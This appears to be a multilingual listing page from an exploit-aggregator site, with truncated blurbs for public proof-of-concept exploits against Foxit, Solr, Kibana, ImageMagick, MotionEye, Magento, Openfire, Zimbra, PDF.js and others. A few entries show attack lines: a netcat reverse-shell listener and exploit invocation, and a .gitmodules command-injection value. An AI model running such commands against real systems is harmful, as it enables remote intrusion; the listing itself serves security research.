PS-2018-002---CVE-2018-14442

Foxit Reader - CPDFParser::mpCryptoHandler - Uso dopo liberazione - RCE Vulnerabilità Fare riferimento a memoria dopo che è stata liberata può causare il crash di un programma, l'uso di valori imprevisti o l'esecuzione di codice Descrizione della vulnerabilità Questa vulnerabilità consente a un...

Detailed-Analysis-and-Mitigation-Strategies-for-CVE-2024-38124-and-CVE-2024-43468

Análise-Detalhada-e-Estratégias-de-Mitigação-para-CVE-2024-38124-e-CVE-2024-43468 Análise detalhada e estratégias de mitigação de script para CVE-2024-38124 e CVE-2024-43468 CVE-2024-38124: Windows Netlogon Contexto de Exploração Técnica: Em um cenário do mundo real, um atacante com acesso à rede...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Iniezione Apache Solr 1.4 per ottenere una shell per codificare url, postrequest, getrequest...

CVE-2025-25014

POC per CVE-2025-25014 Una vulnerabilità di Prototype pollution in Kibana consente l'esecuzione di codice arbitrario tramite richieste HTTP appositamente predisposte verso gli endpoint di machine learning e reporting. Attualmente questo POC rileva solo le istanze vulnerabili. Utilizzo...

CVE-2023-34152

CVE-2023-34152 Vulnerabilità RCE che colpisce ImageMagick 6.9.6-4. Questa vulnerabilità permette all'attaccante di eseguire comandi sul sistema vittima, consentendo quindi l'esecuzione remota di comandi. Questa è una POC ispirata dalla scoperta di fullwaywang di CVE-2023-34152. Divulgazione della...

CVE-2020-24597

Erstellt von HK CVE-2020-24597: Directory Traversal in commedia zu RCE Hinweis: Da Joomla Core 3.9.21 den Fehler nicht richtig behoben hat, wurde dieser Bug daher nicht ordnungsgemäß gepatcht. Ich kann diesen Patch leicht umgehen. Ich möchte dieses Geheimnis bewahren, bis dieser Bug vollständig...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...

CVE-2024-37759_PoC

CVE-2024-37759 PoC Beschreibung DataGear Version 5.0.0 und früher weist eine Schwachstelle für SpEL-Ausdruckseinschleusung auf, die zu Remote-Code-Ausführung führt. Exploit CVE-Exploit-Details Wenn Sie die Schnittstelle /data/schemaId/tableName/view aufrufen und die Datenbanktabelle keinen...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

Diese Art von Angriff versucht, den Deserialisierungsprozess der PHP-Anwendung auszunutzen, um beliebigen Code auszuführen oder unbeabsichtigte Aktionen auf dem Server durchzuführen. Abwehrstrategien Um sich vor PHP-Object-Injection und ähnlichen Angriffen zu schützen, sollten Sie die folgenden...

CVE-2023-45878

CVE-2023-45878 GibbonEdu Scrittura Arbitraria di File fino all'Esecuzione di Web Shell Descrizione Questo repository contiene un exploit per CVE-2023-45878 , una vulnerabilità di scrittura arbitraria di file in GibbonEdu. La vulnerabilità interessa l'endpoint rubricsvisualisesaveAjax.php e consen...

CVE-2014-6271

Shellshock Vulnerability Checker Questo script verifica se un sito web è vulnerabile alla vulnerabilità Shellshock CVE-2014-6271. Riepilogo: La vulnerabilità Shellshock, conosciuta anche come Bashdoor, è un difetto di sicurezza scoperto a settembre 2014 nella shell Bash di Unix. La vulnerabilità...

Magento-eCommerce-RCE-CVE-2015-1397

Exploit Magento Shoplift SUPEE-5344 - CVE-2015-1397 Panoramica Questo script sfrutta la vulnerabilità CVE-2015-1397 in Magento, comunemente nota come exploit Magento Shoplift. Permette a un attaccante di creare un nuovo utente amministratore nel database di Magento iniettando payload SQL...

cve-2020-00796

Identificazione e mitigazione della vulnerabilità CVE-2020–0796 al volo CVE-2020–0796 è una vulnerabilità di pre-esecuzione remota del codice che risiede nel protocollo di comunicazione di rete Server Message Block 3.0 SMBv3, che Microsoft non affronterà come parte del Patch Tuesday di marzo 2020...

Explotacion-CVE-2023-32315-Openfire

🔍 CVE-2023-32315 Beschreibung: Die Schwachstelle CVE-2023-32315 betrifft Openfire-Server und ermöglicht es einem Angreifer, das Login des administrativen Web-Panels ohne gültige Anmeldedaten zu umgehen. Der Exploit fügt einen administrativen Benutzer hinzu, wodurch der Angreifer ein schädliches...

CVE-2025-26633

CVE-2025-26633 - MSC EvilTwin PoC Proof of Concept PoC für die Schwachstelle CVE-2025-26633, die die Microsoft Management Console MMC ausnutzt Über Dieses PoC simuliert die von Trend Micro entdeckte Schwachstelle CVE-2025-26633, die das Laden schädlicher .msc-Dateien zur entfernten...

CVE-2022-27925

Zimbra Exploit di Esecuzione di Codice Remoto Non Autenticato CVE-2022-27925...

CVE-2019-19609-POC-Python

Lo script proverà a reimpostare la password a quella dichiarata nella variabile "updatedpass"; se ci riesce, fornirà un token JWT da Strapi e lo userà per eseguire comandi. I comandi bind non funzioneranno a meno di inviare un payload di reverse shell, con bash o python o qualsiasi altra cosa. Pu...

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597- Sri Lanka Institute of Information Technology root@kitploit: Compito 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 Point to Point Protocol Daemon RCE Vulnerabilità CVE-2020-8597 Programmazione di Sistemi e Reti – IE2012 Contenuto 1...

CVE-2023-51385_test

Verifica di CVE-2023-51385 Prima è necessario aggiungere quanto segue in /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nel file .gitmodules è presente un'iniezione di comandi nella dichiarazione root@kitploit: url = ssh://echo helloworld...

Hacking-pdf.js-vulnerability

🚨 CVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.js Questo progetto dimostra e analizza CVE-2024-4367 , una vulnerabilità ad alta gravità nella libreria PDF.js di Mozilla che permette l'esecuzione arbitraria di JavaScript attraverso un controllo inadeguato dei tipi nel codice di gestio...